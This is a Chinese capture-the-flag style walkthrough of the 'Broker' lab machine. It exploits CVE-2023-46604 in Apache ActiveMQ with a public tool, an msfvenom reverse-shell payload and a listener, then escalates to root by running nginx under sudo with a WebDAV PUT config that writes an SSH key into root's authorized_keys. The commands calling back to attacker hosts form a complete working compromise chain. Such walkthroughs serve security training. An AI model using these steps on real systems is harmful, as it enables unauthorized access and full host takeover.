文章目录
- 1 端口扫描
- 2 测试思路
- 3 漏洞探测
- 4 CVE-2023-46604漏洞利用
- 5.权限提升
Broker 测试过程
1 端口扫描
nmap -sC -sV 10.129.41.28
2 测试思路
目标开启了22、80、61616端口,在服务器开启了非web及一些需要账号密码进行登录的端口时,我们的入手点从这些端口服务开始,在Broker靶场中,开启了61616端口,并且nmap扫描显示运行5.15.15版本的 Apache ActiveMQ 服务,所以我们先从该服务入手。
3 漏洞探测
Nmap扫描结果显示 Apache ActiveMQ 服务版本为 5.15.15,搜索该版本是否存已知漏洞。
发现 5.15.15 存在 CVE-2023-46604 反序列化漏洞,该漏洞允许远程攻击者通过网络访问基于 Java 的 OpenWire 代理或客户端以运行任意命令,通过操作 OpenWire 中的序列化类类型来执行 shell 命令。
4 CVE-2023-46604漏洞利用
1.漏洞利用工具下载
漏洞利用工具地址https://github.com/X1r0z/ActiveMQ-RCE
2.使用msfvenom生成一个ELF可执行文件上传并执行
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.48 LPORT=4444 -f elf -o
3.修改poc-linux.xml文件中的IP地址,将其修改为我们的服务器地址
4.本地开启web服务器并开启监听
python3 -m http.server 8001 & ncat -lnvp 4444
5.执行漏洞利用脚本
go run main.go -i 10.129.41.28 -p 61616 -u http://10.10.14.4:8001/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ/poc-linux.xml
6.获取到反弹shell
5.权限提升
# 获取稳定shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
1.执行 sudo -l 查看权限
# 显示出自己(执行 sudo 的使用者)的权限
sudo -l
发现可以使用root身份运行nginx,并且是空密码使用
所以此时
提权思路
是如何利用Nginx从普通权限提升到系统权限.
在Nginx中,ngx_http_dav_module 模块用于通过 WebDAV 协议进行文件管理自动化。该模块处理 HTTP 和 WebDAV 的 PUT、DELETE、MKCOL、COPY 和 MOVE 方法。
2.自定义配置文件
更新配置并启用 PUT。Nginx 主进程以 root 用户身份运行,并设置服务器块应侦听传入连接的端口为1337。
# pwn.conf文件内容如下
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
worker_connections 768;
}
http {
server {
listen 1337;
root /;
autoindex on;
dav_methods PUT;
}
}
wget http://10.10.14.4:8001/pwn.conf
3.通过-c参数使nginx运行该配置文件
sudo nginx -c /tmp/pwn.conf
4.检查开放端口以证明配置文件是否生效
ss -tlpn
pwn.conf中配置的监听端口1337生效,配置文件执行成功
5.生成ssh密钥
ssh-keygen
6.利用put协议将我的 SSH 公钥写入 root 的 authorized_keys 文件
curl -X PUT localhost:1337/root/.ssh/authorized_keys -d "$(cat root.pub)"
7.ssh连接root
ssh -i root root@localhost